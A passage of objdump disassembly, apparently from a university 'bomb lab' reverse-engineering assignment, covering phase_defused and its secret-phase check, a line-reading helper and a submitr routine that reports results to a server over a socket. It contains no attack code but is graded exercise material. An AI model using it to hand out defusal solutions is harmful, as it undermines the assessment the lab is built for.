$0x4,%rax 4015ab: c6 84 01 80 37 60 00 movb $0x0,0x603780(%rcx,%rax,1) 4015b2: 00 4015b3: 83 c2 01 add $0x1,%edx 4015b6: 89 15 a4 21 20 00 mov %edx,0x2021a4(%rip) # 603760 <num_input_strings> 4015bc: 48 89 f0 mov %rsi,%rax 4015bf: 48 83 c4 08 add $0x8,%rsp 4015c3: c3 retq 00000000004015c4 <phase_defused>: 4015c4: 48 83 ec 78 sub $0x78,%rsp 4015c8: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 4015cf: 00 00 4015d1: 48 89 44 24 68 mov %rax,0x68(%rsp) 4015d6: 31 c0 xor %eax,%eax 4015d8: 83 3d 81 21 20 00 06 cmpl $0x6,0x202181(%rip) # 603760 <num_input_strings> 4015df: 75 5e jne 40163f <phase_defused+0x7b> 4015e1: 4c 8d 44 24 10 lea 0x10(%rsp),%r8 4015e6: 48 8d 4c 24 0c lea 0xc(%rsp),%rcx 4015eb: 48 8d 54 24 08 lea 0x8(%rsp),%rdx 4015f0: be 19 26 40 00 mov $0x402619,%esi 4015f5: bf 70 38 60 00 mov $0x603870,%edi 4015fa: e8 f1 f5 ff ff callq 400bf0 <__isoc99_sscanf@plt> 4015ff: 83 f8 03 cmp $0x3,%eax 401602: 75 31 jne 401635 <phase_defused+0x71> 401604: be 22 26 40 00 mov $0x402622,%esi 401609: 48 8d 7c 24 10 lea 0x10(%rsp),%rdi 40160e: e8 25 fd ff ff callq 401338 <strings_not_equal> 401613: 85 c0 test %eax,%eax 401615: 75 1e jne 401635 <phase_defused+0x71> 401617: bf f8 24 40 00 mov $0x4024f8,%edi 40161c: e8 ef f4 ff ff callq 400b10 <puts@plt> 401621: bf 20 25 40 00 mov $0x402520,%edi 401626: e8 e5 f4 ff ff callq 400b10 <puts@plt> 40162b: b8 00 00 00 00 mov $0x0,%eax 401630: e8 0d fc ff ff callq 401242 <secret_phase> 401635: bf 58 25 40 00 mov $0x402558,%edi 40163a: e8 d1 f4 ff ff callq 400b10 <puts@plt> 40163f: 48 8b 44 24 68 mov 0x68(%rsp),%rax 401644: 64 48 33 04 25 28 00 xor %fs:0x28,%rax 40164b: 00 00 40164d: 74 05 je 401654 <phase_defused+0x90> 40164f: e8 dc f4 ff ff callq 400b30 <__stack_chk_fail@plt> 401654: 48 83 c4 78 add $0x78,%rsp 401658: c3 retq 401659: 90 nop 40165a: 90 nop 40165b: 90 nop 40165c: 90 nop 40165d: 90 nop 40165e: 90 nop 40165f: 90 nop 0000000000401660 <sigalrm_handler>: 401660: 48 83 ec 08 sub $0x8,%rsp 401664: b9 00 00 00 00 mov $0x0,%ecx 401669: ba 78 26 40 00 mov $0x402678,%edx 40166e: be 01 00 00 00 mov $0x1,%esi 401673: 48 8b 3d d6 20 20 00 mov 0x2020d6(%rip),%rdi # 603750 <stderr@@GLIBC_2.2.5> 40167a: b8 00 00 00 00 mov $0x0,%eax 40167f: e8 bc f5 ff ff callq 400c40 <__fprintf_chk@plt> 401684: bf 01 00 00 00 mov $0x1,%edi 401689: e8 92 f5 ff ff callq 400c20 <exit@plt> 000000000040168e <rio_readlineb>: 40168e: 41 57 push %r15 401690: 41 56 push %r14 401692: 41 55 push %r13 401694: 41 54 push %r12 401696: 55 push %rbp 401697: 53 push %rbx 401698: 48 83 ec 38 sub $0x38,%rsp 40169c: 49 89 f6 mov %rsi,%r14 40169f: 48 89 54 24 18 mov %rdx,0x18(%rsp) 4016a4: 48 83 fa 01 cmp $0x1,%rdx 4016a8: 0f 86 c9 00 00 00 jbe 401777 <rio_readlineb+0xe9> 4016ae: 48 89 fb mov %rdi,%rbx 4016b1: 41 bd 01 00 00 00 mov $0x1,%r13d 4016b7: 4c 8d 67 10 lea 0x10(%rdi),%r12 4016bb: eb 30 jmp 4016ed <rio_readlineb+0x5f> 4016bd: ba 00 20 00 00 mov $0x2000,%edx 4016c2: 4c 89 e6 mov %r12,%rsi 4016c5: 8b 3b mov (%rbx),%edi 4016c7: e8 94 f4 ff ff callq 400b60 <read@plt> 4016cc: 89 43 04 mov %eax,0x4(%rbx) 4016cf: 85 c0 test %eax,%eax 4016d1: 79 12 jns 4016e5 <rio_readlineb+0x57> 4016d3: e8 18 f4 ff ff callq 400af0 <__errno_location@plt> 4016d8: 83 38 04 cmpl $0x4,(%rax) 4016db: 74 10 je 4016ed <rio_readlineb+0x5f> 4016dd: 0f 1f 00 nopl (%rax) 4016e0: e9 a1 00 00 00 jmpq 401786 <rio_readlineb+0xf8> 4016e5: 85 c0 test %eax,%eax 4016e7: 74 71 je 40175a <rio_readlineb+0xcc> 4016e9: 4c 89 63 08 mov %r12,0x8(%rbx) 4016ed: 8b 6b 04 mov 0x4(%rbx),%ebp 4016f0: 85 ed test %ebp,%ebp 4016f2: 7e c9 jle 4016bd <rio_readlineb+0x2f> 4016f4: 85 ed test %ebp,%ebp 4016f6: 41 0f 95 c7 setne %r15b 4016fa: 41 0f b6 c7 movzbl %r15b,%eax 4016fe: 89 44 24 0c mov %eax,0xc(%rsp) 401702: 45 0f b6 ff movzbl %r15b,%r15d 401706: 48 8b 4b 08 mov 0x8(%rbx),%rcx 40170a: 48 89 ce mov %rcx,%rsi 40170d: b9 01 00 00 00 mov $0x1,%ecx 401712: 4c 89 fa mov %r15,%rdx 401715: 48 89 74 24 10 mov %rsi,0x10(%rsp) 40171a: 48 8d 7c 24 2f lea 0x2f(%rsp),%rdi 40171f: e8 9c f4 ff ff callq 400bc0 <__memcpy_chk@plt> 401724: 4c 03 7c 24 10 add 0x10(%rsp),%r15 401729: 4c 89 7b 08 mov %r15,0x8(%rbx) 40172d: 8b 44 24 0c mov 0xc(%rsp),%eax 401731: 29 c5 sub %eax,%ebp 401733: 89 6b 04 mov %ebp,0x4(%rbx) 401736: 83 f8 01 cmp $0x1,%eax 401739: 75 13 jne 40174e <rio_readlineb+0xc0> 40173b: 49 83 c6 01 add $0x1,%r14 40173f: 0f b6 44 24 2f movzbl 0x2f(%rsp),%eax 401744: 41 88 46 ff mov %al,-0x1(%r14) 401748: 3c 0a cmp $0xa,%al 40174a: 75 18 jne 401764 <rio_readlineb+0xd6> 40174c: eb 2f jmp 40177d <rio_readlineb+0xef> 40174e: 83 7c 24 0c 00 cmpl $0x0,0xc(%rsp) 401753: 75 3a jne 40178f <rio_readlineb+0x101> 401755: 44 89 e8 mov %r13d,%eax 401758: eb 03 jmp 40175d <rio_readlineb+0xcf> 40175a: 44 89 e8 mov %r13d,%eax 40175d: 83 f8 01 cmp $0x1,%eax 401760: 75 1b jne 40177d <rio_readlineb+0xef> 401762: eb 34 jmp 401798 <rio_readlineb+0x10a> 401764: 41 83 c5 01 add $0x1,%r13d 401768: 49 63 c5 movslq %r13d,%rax 40176b: 48 3b 44 24 18 cmp 0x18(%rsp),%rax 401770: 73 0b jae 40177d <rio_readlineb+0xef> 401772: e9 76 ff ff ff jmpq 4016ed <rio_readlineb+0x5f> 401777: 41 bd 01 00 00 00 mov $0x1,%r13d 40177d: 41 c6 06 00 movb $0x0,(%r14) 401781: 49 63 c5 movslq %r13d,%rax 401784: eb 17 jmp 40179d <rio_readlineb+0x10f> 401786: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax 40178d: eb 0e jmp 40179d <rio_readlineb+0x10f> 40178f: 48 c7 c0 ff ff ff ff mov $0xffffffffffffffff,%rax 401796: eb 05 jmp 40179d <rio_readlineb+0x10f> 401798: b8 00 00 00 00 mov $0x0,%eax 40179d: 48 83 c4 38 add $0x38,%rsp 4017a1: 5b pop %rbx 4017a2: 5d pop %rbp 4017a3: 41 5c pop %r12 4017a5: 41 5d pop %r13 4017a7: 41 5e pop %r14 4017a9: 41 5f pop %r15 4017ab: c3 retq 00000000004017ac <submitr>: 4017ac: 41 57 push %r15 4017ae: 41 56 push %r14 4017b0: 41 55 push %r13 4017b2: 41 54 push %r12 4017b4: 55 push %rbp 4017b5: 53 push %rbx 4017b6: 48 81 ec 68 a0 00 00 sub $0xa068,%rsp 4017bd: 48 89 fd mov %rdi,%rbp 4017c0: 41 89 f5 mov %esi,%r13d 4017c3: 48 89 54 24 10 mov %rdx,0x10(%rsp) 4017c8: 48 89 4c 24 18 mov %rcx,0x18(%rsp) 4017cd: 4d 89 c7 mov %r8,%r15 4017d0: 4c 89 cb mov %r9,%rbx 4017d3: 4c 8b b4 24 a0 a0 00 mov 0xa0a0(%rsp),%r14 4017da: 00 4017db: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 4017e2: 00 00 4017e4: 48 89 84 24 58 a0 00 mov %rax,0xa058(%rsp) 4017eb: 00 4017ec: 31 c0 xor %eax,%eax 4017ee: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%rsp) 4017f5: 00 4017f6: ba 00 00 00 00 mov $0x0,%edx 4017fb: be 01 00 00 00 mov $0x1,%esi 401800: bf 02 00 00 00 mov $0x2,%edi 401805: e8 76 f4 ff ff callq 400c80 <socket@plt> 40180a: 41 89 c4 mov %eax,%r12d 40180d: 85 c0 test %eax,%eax 40180f: 79 50 jns 401861 <submitr+0xb5> 401811: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax 401818: 3a 20 43 40181b: 49 89 06 mov %rax,(%r14) 40181e: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax 401825: 20 75 6e 401828: 49 89 46 08 mov %rax,0x8(%r14) 40182c: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 401833: 74 6f 20 401836: 49 89 46 10 mov %rax,0x10(%r14) 40183a: 48 b8 63 72 65 61 74 movabs $0x7320657461657263,%rax 401841: 65 20 73 401844: 49 89 46 18 mov %rax,0x18(%r14) 401848: 41 c7 46 20 6f 63 6b movl $0x656b636f,0x20(%r14) 40184f: 65 401850: 66 41 c7 46 24 74 00 movw $0x74,0x24(%r14) 401857: b8 ff ff ff ff mov $0xffffffff,%eax 40185c: e9 07 06 00 00 jmpq 401e68 <submitr+0x6bc> 401861: 48 89 ef mov %rbp,%rdi 401864: e8 37 f3 ff ff callq 400ba0 <gethostbyname@plt> 401869: 48 85 c0 test %rax,%rax 40186c: 75 6b jne 4018d9 <submitr+0x12d> 40186e: 48 b8 45 72 72 6f 72 movabs $0x44203a726f727245,%rax 401875: 3a 20 44 401878: 49 89 06 mov %rax,(%r14) 40187b: 48 b8 4e 53 20 69 73 movabs $0x6e7520736920534e,%rax 401882: 20 75 6e 401885: 49 89 46 08 mov %rax,0x8(%r14) 401889: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 401890: 74 6f 20 401893: 49 89 46 10 mov %rax,0x10(%r14) 401897: 48 b8 72 65 73 6f 6c movabs $0x2065766c6f736572,%rax 40189e: 76 65 20 4018a1: 49 89 46 18 mov %rax,0x18(%r14) 4018a5: 48 b8 73 65 72 76 65 movabs $0x6120726576726573,%rax 4018ac: 72 20 61 4018af: 49 89 46 20 mov %rax,0x20(%r14) 4018b3: 41 c7 46 28 64 64 72 movl $0x65726464,0x28(%r14) 4018ba: 65 4018bb: 66 41 c7 46 2c 73 73 movw $0x7373,0x2c(%r14) 4018c2: 41 c6 46 2e 00 movb $0x0,0x2e(%r14) 4018c7: 44 89 e7 mov %r12d,%edi 4018ca: e8 81 f2 ff ff callq 400b50 <close@plt> 4018cf: b8 ff ff ff ff mov $0xffffffff,%eax 4018d4: e9 8f 05 00 00 jmpq 401e68 <submitr+0x6bc> 4018d9: 48 c7 44 24 30 00 00 movq $0x0,0x30(%rsp) 4018e0: 00 00 4018e2: 48 c7 44 24 38 00 00 movq $0x0,0x38(%rsp) 4018e9: 00 00 4018eb: 66 c7 44 24 30 02 00 movw $0x2,0x30(%rsp) 4018f2: 48 63 50 14 movslq 0x14(%rax),%rdx 4018f6: 48 8b 40 18 mov 0x18(%rax),%rax 4018fa: 48 8d 7c 24 34 lea 0x34(%rsp),%rdi 4018ff: b9 0c 00 00 00 mov $0xc,%ecx 401904: 48 8b 30 mov (%rax),%rsi 401907: e8 a4 f2 ff ff callq 400bb0 <__memmove_chk@plt> 40190c: 66 41 c1 cd 08 ror $0x8,%r13w 401911: 66 44 89 6c 24 32 mov %r13w,0x32(%rsp) 401917: ba 10 00 00 00 mov $0x10,%edx 40191c: 48 8d 74 24 30 lea 0x30(%rsp),%rsi 401921: 44 89 e7 mov %r12d,%edi 401924: e8 07 f3 ff ff callq 400c30 <connect@plt> 401929: 85 c0 test %eax,%eax 40192b: 79 5d jns 40198a <submitr+0x1de> 40192d: 48 b8 45 72 72 6f 72 movabs $0x55203a726f727245,%rax 401934: 3a 20 55 401937: 49 89 06 mov %rax,(%r14) 40193a: 48 b8 6e 61 62 6c 65 movabs $0x6f7420656c62616e,%rax 401941: 20 74 6f 401944: 49 89 46 08 mov %rax,0x8(%r14) 401948: 48 b8 20 63 6f 6e 6e movabs $0x7463656e6e6f6320,%rax 40194f: 65 63 74 401952: 49 89 46 10 mov %rax,0x10(%r14) 401956: 48 b8 20 74 6f 20 74 movabs $0x20656874206f7420,%rax 40195d: 68 65 20 401960: 49 89 46 18 mov %rax,0x18(%r14) 401964: 41 c7 46 20 73 65 72 movl $0x76726573,0x20(%r14) 40196b: 76 40196c: 66 41 c7 46 24 65 72 movw $0x7265,0x24(%r14) 401973: 41 c6 46 26 00 movb $0x0,0x26(%r14) 401978: 44 89 e7 mov %r12d,%edi 40197b: e8 d0 f1 ff ff callq 400b50 <close@plt> 401980: b8 ff ff ff ff mov $0xffffffff,%eax 401985: e9 de 04 00 00 jmpq 401e68 <submitr+0x6bc> 40198a: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 401991: 48 89 df mov %rbx,%rdi 401994: b8 00 00 00 00 mov $0x0,%eax 401999: 48 89 d1 mov %rdx,%rcx 40199c: f2 ae repnz scas %es:(%rdi),%al 40199e: 48 f7 d1 not %rcx 4019a1: 48 89 ce mov %rcx,%rsi 4019a4: 48 8b 7c 24 10 mov 0x10(%rsp),%rdi 4019a9: 48 89 d1 mov %rdx,%rcx 4019ac: f2 ae repnz scas %es:(%rdi),%al 4019ae: 49 89 c8 mov %rcx,%r8 4019b1: 48 8b 7c 24 18 mov 0x18(%rsp),%rdi 4019b6: 48 89 d1 mov %rdx,%rcx 4019b9: f2 ae repnz scas %es:(%rdi),%al 4019bb: 48 f7 d1 not %rcx 4019be: 49 89 c9 mov %rcx,%r9 4019c1: 4c 89 ff mov %r15,%rdi 4019c4: 48 89 d1 mov %rdx,%rcx 4019c7: f2 ae repnz scas %es:(%rdi),%al 4019c9: 4d 29 c1 sub %r8,%r9 4019cc: 49 29 c9 sub %rcx,%r9 4019cf: 48 8d 44 76 fd lea -0x3(%rsi,%rsi,2),%rax 4019d4: 49 8d 44 01 7b lea 0x7b(%r9,%rax,1),%rax 4019d9: 48 3d 00 20 00 00 cmp $0x2000,%rax 4019df: 76 73 jbe 401a54 <submitr+0x2a8> 4019e1: 48 b8 45 72 72 6f 72 movabs $0x52203a726f727245,%rax 4019e8: 3a 20 52 4019eb: 49 89 06 mov %rax,(%r14) 4019ee: 48 b8 65 73 75 6c 74 movabs $0x747320746c757365,%rax 4019f5: 20 73 74 4019f8: 49 89 46 08 mov %rax,0x8(%r14) 4019fc: 48 b8 72 69 6e 67 20 movabs $0x6f6f7420676e6972,%rax 401a03: 74 6f 6f 401a06: 49 89 46 10 mov %rax,0x10(%r14) 401a0a: 48 b8 20 6c 61 72 67 movabs $0x202e656772616c20,%rax 401a11: 65 2e 20 401a14: 49 89 46 18 mov %rax,0x18(%r14) 401a18: 48 b8 49 6e 63 72 65 movabs $0x6573616572636e49,%rax 401a1f: 61 73 65 401a22: 49 89 46 20 mov %rax,0x20(%r14) 401a26: 48 b8 20 53 55 42 4d movabs $0x5254494d42555320,%rax 401a2d: 49 54 52 401a30: 49 89 46 28 mov %rax,0x28(%r14) 401a34: 48 b8 5f 4d 41 58 42 movabs $0x46554258414d5f,%rax 401a3b: 55 46 00 401a3e: 49 89 46 30 mov %rax,0x30(%r14) 401a42: 44 89 e7 mov %r12d,%edi 401a45: e8 06 f1 ff ff callq 400b50 <close@plt> 401a4a: b8 ff ff ff ff mov $0xffffffff,%eax 401a4f: e9 14 04 00 00 jmpq 401e68 <submitr+0x6bc> 401a54: 48 8d 94 24 40 20 00 lea 0x2040(%rsp),%rdx 401a5b: 00 401a5c: b9 00 04 00 00 mov $0x400,%ecx 401a61: b8 00 00 00 00 mov $0x0,%eax 401a66: 48 89 d7 mov %rdx,%rdi 401a69: f3 48 ab rep stos %rax,%es:(%rdi) 401a6c: 48 89 df mov %rbx,%rdi 401a6f: 48 c7 c1 ff ff ff ff mov $0xffffffffffffffff,%rcx 401a76: f2 ae repnz scas %es:(%rdi),%al 401a78: 48 f7 d1 not %rcx 401a7b: 48 83 e9 01 sub $0x1,%rcx 401a7f: 85 c9 test %ecx,%ecx 401a81: 0f 84 fd 03 00 00 je 401e84 <submitr+0x6d8> 401a87: 83 e9 01 sub $0x1,%ecx 401a8a: 4c 8d 6c 0b 01 lea 0x1(%rbx,%rcx,1),%r13 401a8f: 48 89 d5 mov %rdx,%rbp 401a92: 44 0f b6 03 movzbl (%rbx),%r8d 401a96: 41 80 f8 2a cmp $0x2a,%r8b 401a9a: 74 23 je 401abf <submitr+0x313> 401a9c: 41 8d 40 d3 lea -0x2d(%r8),%eax 401aa0: 3c 01 cmp $0x1,%al 401aa2: 76 1b jbe 401abf <submitr+0x313> 401aa4: 41 80 f8 5f cmp $0x5f,%r8b 401aa8: 74 15 je 401abf <submitr+0x313> 401aaa: 41 8d 40 d0 lea -0x30(%r8),%eax 401aae: 3c 09 cmp $0x9,%al 401ab0: 76 0d jbe 401abf <submitr+0x313> 401ab2: 44 89 c0 mov %r8d,%eax 401ab5: 83 e0 df and $0xffffffdf,%eax 401ab8: 83 e8 41 sub $0x41,%eax 401abb: 3c 19 cmp $0x19,%al 401abd: 77 0a ja 401ac9 <submitr+0x31d> 401abf: 48 8d 45 01 lea 0x1(%rbp),%rax 401ac3: 44 88 45 00 mov %r8b,0x0(%rbp) 401ac7: eb 6c jmp 401b35 <submitr+0x389> 401ac9: 41 80 f8 20 cmp $0x20,%r8b 401acd: 75 0a jne 401ad9 <submitr+0x32d> 401acf: 48 8d 45 01 lea 0x1(%rbp),%rax 401ad3: c6 45 00 2b movb $0x2b,0x0(%rbp) 401ad7: eb 5c jmp 401b35 <submitr+0x389> 401ad9: 41 8d 40 e0 lea -0x20(%r8),%eax 401add: 3c 5f cmp $0x5f,%al 401adf: 76 0a jbe 401aeb <submitr+0x33f> 401ae1: 41 80 f8 09 cmp $0x9,%r8b 401ae5: 0f 85 02 04 00 00 jne 401eed <submitr+0x741> 401aeb: 45 0f b6 c0 movzbl %r8b,%r8d 401aef: b9 48 27 40 00 mov $0x402748,%ecx 401af4: ba 08 00 00 00 mov $0x8,%edx 401af9: be 01 00 00 00 mov $0x1,%esi 401afe: 48 8d bc 24 40 80 00 lea 0x8040(%rsp),%rdi 401b05: 00 401b06: b8 00 00 00 00 mov $0x0,%eax 401b0b: e8 60 f1 ff ff callq 400c70 <__sprintf_chk@plt> 401b10: 0f b6 84 24 40 80 00 movzbl 0x8040(%rsp),%eax 401b17: 00 401b18: 88 45 00 mov %al,0x0(%rbp) 401b1b: 0f b6 84 24 41 80 00 movzbl 0x8041(%rsp),%eax 401b22: 00 401b23: 88 45 01 mov %al,0x1(%rbp) 401b26: 48 8d 45 03 lea 0x3(%rbp),%rax 401b2a: 0f b6 94 24 42 80 00 movzbl 0x8042(%rsp),%edx 401b31: 00 401b32: 88 55 02 mov %dl,0x2(%rbp) 401b35: 48 83 c3 01 add $0x1,%rbx 401b39: 4c 39 eb cmp %r13,%rbx 401b3c: 0f 84 42 03 00 00 je 401e84 <submitr+0x6d8> 401b42: 48 89 c5 mov %rax,%rbp 401b45: e9 48 ff ff ff jmpq 401a92 <submitr+0x2e6> 401b4a: 48 89 da mov %rbx,%rdx 401b4d: 48 89 ee mov %rbp,%rsi 401b50: 44 89 e7 mov %r12d,%edi 401b53: e8 c8 ef ff ff callq 400b20 <write@plt> 401b58: 48 85 c0 test %rax,%rax 401b5b: 7f 0f jg 401b6c <submitr+0x3c0> 401b5d: e8 8e ef ff ff callq 400af0 <__errno_location@plt> 401b62: 83 38 04 cmpl $0x4,(%rax) 401b65: 75 12 jne 401b79 <submitr+0x3cd> 401b67: b8 00 00 00 00 mov $0x0,%eax 401b6c: 48 01 c5 add %rax,%rbp 401b6f: 48 29 c3 sub %rax,%rbx 401b72: 75 d6 jne 401b4a <submitr+0x39e> 401b74: 4d 85 ed test %r13,%r13 401b77: 79 5f jns 401bd8 <submitr+0x42c> 401b79: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax 401b80: 3a 20 43 401b83: 49 89 06 mov %rax,(%r14) 401b86: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax 401b8d: 20 75 6e 401b90: 49 89 46 08 mov %rax,0x8(%r14) 401b94: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 401b9b: 74 6f 20 401b9e: 49 89 46 10 mov %rax,0x10(%r14) 401ba2: 48 b8 77 72 69 74 65 movabs $0x6f74206574697277,%rax 401ba9: 20 74 6f 401bac: 49 89 46 18 mov %rax,0x18(%r14) 401bb0: 48 b8 20 74 68 65 20 movabs $0x7265732065687420,%rax 401bb7: 73 65 72 401bba: 49 89 46 20 mov %rax,0x20(%r14) 401bbe: 41 c7 46 28 76 65 72 movl $0x726576,0x28(%r14) 401bc5: 00 401bc6: 44 89 e7 mov %r12d,%edi 401bc9: e8 82 ef ff ff callq 400b50 <close@plt> 401bce: b8 ff ff ff ff mov $0xffffffff,%eax 401bd3: e9 90 02 00 00 jmpq 401e68 <submitr+0x6bc> 401bd8: 44 89 a4 24 40 80 00 mov %r12d,0x8040(%rsp) 401bdf: 00 401be0: c7 84 24 44 80 00 00 movl $0x0,0x8044(%rsp) 401be7: 00 00 00 00 401beb: 48 8d 84 24 50 80 00 lea 0x8050(%rsp),%rax 401bf2: 00 401bf3: 48 89 84 24 48 80 00 mov %rax,0x8048(%rsp) 401bfa: 00 401bfb: ba 00 20 00 00 mov $0x2000,%edx 401c00: 48 8d 74 24 40 lea 0x40(%rsp),%rsi 401c05: 48 8d bc 24 40 80 00 lea 0x8040(%rsp),%rdi 401c0c: 00 401c0d: e8 7c fa ff ff callq 40168e <rio_readlineb> 401c12: 48 85 c0 test %rax,%rax 401c15: 7f 74 jg 401c8b <submitr+0x4df> 401c17: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax 401c1e: 3a 20 43 401c21: 49 89 06 mov %rax,(%r14) 401c24: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax 401c2b: 20 75 6e 401c2e: 49 89 46 08 mov %rax,0x8(%r14) 401c32: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 401c39: 74 6f 20 401c3c: 49 89 46 10 mov %rax,0x10(%r14) 401c40: 48 b8 72 65 61 64 20 movabs $0x7269662064616572,%rax 401c47: 66 69 72 401c4a: 49 89 46 18 mov %rax,0x18(%r14) 401c4e: 48 b8 73 74 20 68 65 movabs $0x6564616568207473,%rax 401c55: 61 64 65 401c58: 49 89 46 20 mov %rax,0x20(%r14) 401c5c: 48 b8 72 20 66 72 6f movabs $0x73206d6f72662072,%rax 401c63: 6d 20 73 401c66: 49 89 46 28 mov %rax,0x28(%r14) 401c6a: 41 c7 46 30 65 72 76 movl $0x65767265,0x30(%r14) 401c71: 65 401c72: 66 41 c7 46 34 72 00 movw $0x72,0x34(%r14) 401c79: 44 89 e7 mov %r12d,%edi 401c7c: e8 cf ee ff ff callq 400b50 <close@plt> 401c81: b8 ff ff ff ff mov $0xffffffff,%eax 401c86: e9 dd 01 00 00 jmpq 401e68 <submitr+0x6bc> 401c8b: 4c 8d 84 24 40 60 00 lea 0x6040(%rsp),%r8 401c92: 00 401c93: 48 8d 4c 24 2c lea 0x2c(%rsp),%rcx 401c98: 48 8d 94 24 40 40 00 lea 0x4040(%rsp),%rdx 401c9f: 00 401ca0: be 4f 27 40 00 mov $0x40274f,%esi 401ca5: 48 8d 7c 24 40 lea 0x40(%rsp),%rdi 401caa: b8 00 00 00 00 mov $0x0,%eax 401caf: e8 3c ef ff ff callq 400bf0 <__isoc99_sscanf@plt> 401cb4: 44 8b 44 24 2c mov 0x2c(%rsp),%r8d 401cb9: 41 81 f8 c8 00 00 00 cmp $0xc8,%r8d 401cc0: 0f 84 be 00 00 00 je 401d84 <submitr+0x5d8> 401cc6: 4c 8d 8c 24 40 60 00 lea 0x6040(%rsp),%r9 401ccd: 00 401cce: b9 a0 26 40 00 mov $0x4026a0,%ecx 401cd3: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 401cda: be 01 00 00 00 mov $0x1,%esi 401cdf: 4c 89 f7 mov %r14,%rdi 401ce2: b8 00 00 00 00 mov $0x0,%eax 401ce7: e8 84 ef ff ff callq 400c70 <__sprintf_chk@plt> 401cec: 44 89 e7 mov %r12d,%edi 401cef: e8 5c ee ff ff callq 400b50 <close@plt> 401cf4: b8 ff ff ff ff mov $0xffffffff,%eax 401cf9: e9 6a 01 00 00 jmpq 401e68 <submitr+0x6bc> 401cfe: ba 00 20 00 00 mov $0x2000,%edx 401d03: 48 8d 74 24 40 lea 0x40(%rsp),%rsi 401d08: 48 8d bc 24 40 80 00 lea 0x8040(%rsp),%rdi 401d0f: 00 401d10: e8 79 f9 ff ff callq 40168e <rio_readlineb> 401d15: 48 85 c0 test %rax,%rax 401d18: 7f 6a jg 401d84 <submitr+0x5d8> 401d1a: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax 401d21: 3a 20 43 401d24: 49 89 06 mov %rax,(%r14) 401d27: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax 401d2e: 20 75 6e 401d31: 49 89 46 08 mov %rax,0x8(%r14) 401d35: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 401d3c: 74 6f 20 401d3f: 49 89 46 10 mov %rax,0x10(%r14) 401d43: 48 b8 72 65 61 64 20 movabs $0x6165682064616572,%rax 401d4a: 68 65 61 401d4d: 49 89 46 18 mov %rax,0x18(%r14) 401d51: 48 b8 64 65 72 73 20 movabs $0x6f72662073726564,%rax 401d58: 66 72 6f 401d5b: 49 89 46 20 mov %rax,0x20(%r14) 401d5f: 48 b8 6d 20 73 65 72 movabs $0x726576726573206d,%rax 401d66: 76 65 72 401d69: 49 89 46 28 mov %rax,0x28(%r14) 401d6d: 41 c6 46 30 00 movb $0x0,0x30(%r14) 401d72: 44 89 e7 mov %r12d,%edi 401d75: e8 d6 ed ff ff callq 400b50 <close@plt> 401d7a: b8 ff ff ff ff mov $0xffffffff,%eax 401d7f: e9 e4 00 00 00 jmpq 401e68 <submitr+0x6bc> 401d84: 80 7c 24 40 0d cmpb $0xd,0x40(%rsp) 401d89: 0f 85 6f ff ff ff jne 401cfe <submitr+0x552> 401d8f: 80 7c 24 41 0a cmpb $0xa,0x41(%rsp) 401d94: 0f 85 64 ff ff ff jne 401cfe <submitr+0x552> 401d9a: 80 7c 24 42 00 cmpb $0x0,0x42(%rsp) 401d9f: 0f 85 59 ff ff ff jne 401cfe <submitr+0x552> 401da5: ba 00 20 00 00 mov $0x2000,%edx 401daa: 48 8d 74 24 40 lea 0x40(%rsp),%rsi 401daf: 48 8d bc 24 40 80 00 lea 0x8040(%rsp),%rdi 401db6: 00 401db7: e8 d2 f8 ff ff callq 40168e <rio_readlineb> 401dbc: 48 85 c0 test %rax,%rax 401dbf: 7f 70 jg 401e31 <submitr+0x685> 401dc1: 48 b8 45 72 72 6f 72 movabs $0x43203a726f727245,%rax 401dc8: 3a 20 43 401dcb: 49 89 06 mov %rax,(%r14) 401dce: 48 b8 6c 69 65 6e 74 movabs $0x6e7520746e65696c,%rax 401dd5: 20 75 6e 401dd8: 49 89 46 08 mov %rax,0x8(%r14) 401ddc: 48 b8 61 62 6c 65 20 movabs $0x206f7420656c6261,%rax 401de3: 74 6f 20 401de6: 49 89 46 10 mov %rax,0x10(%r14) 401dea: 48 b8 72 65 61 64 20 movabs $0x6174732064616572,%rax 401df1: 73 74 61 401df4: 49 89 46 18 mov %rax,0x18(%r14) 401df8: 48 b8 74 75 73 20 6d movabs $0x7373656d20737574,%rax 401dff: 65 73 73 401e02: 49 89 46 20 mov %rax,0x20(%r14) 401e06: 48 b8 61 67 65 20 66 movabs $0x6d6f726620656761,%rax 401e0d: 72 6f 6d 401e10: 49 89 46 28 mov %rax,0x28(%r14) 401e14: 48 b8 20 73 65 72 76 movabs $0x72657672657320,%rax 401e1b: 65 72 00 401e1e: 49 89 46 30 mov %rax,0x30(%r14) 401e22: 44 89 e7 mov %r12d,%edi 401e25: e8 26 ed ff ff callq 400b50 <close@plt> 401e2a: b8 ff ff ff ff mov $0xffffffff,%eax 401e2f: eb 37 jmp 401e68 <submitr+0x6bc> 401e31: 48 8d 74 24 40 lea 0x40(%rsp),%rsi 401e36: 4c 89 f7 mov %r14,%rdi 401e39: e8 c2 ec ff ff callq 400b00 <strcpy@plt> 401e3e: 44 89 e7 mov %r12d,%edi 401e41: e8 0a ed ff ff callq 400b50 <close@plt> 401e46: 41 0f b6 06 movzbl (%r14),%eax 401e4a: 83 e8 4f sub $0x4f,%eax 401e4d: 75 0f jne 401e5e <submitr+0x6b2> 401e4f: 41 0f b6 46 01 movzbl 0x1(%r14),%eax 401e54: 83 e8 4b sub $0x4b,%eax 401e57: 75 05 jne 401e5e <submitr+0x6b2> 401e59: 41 0f b6 46 02 movzbl 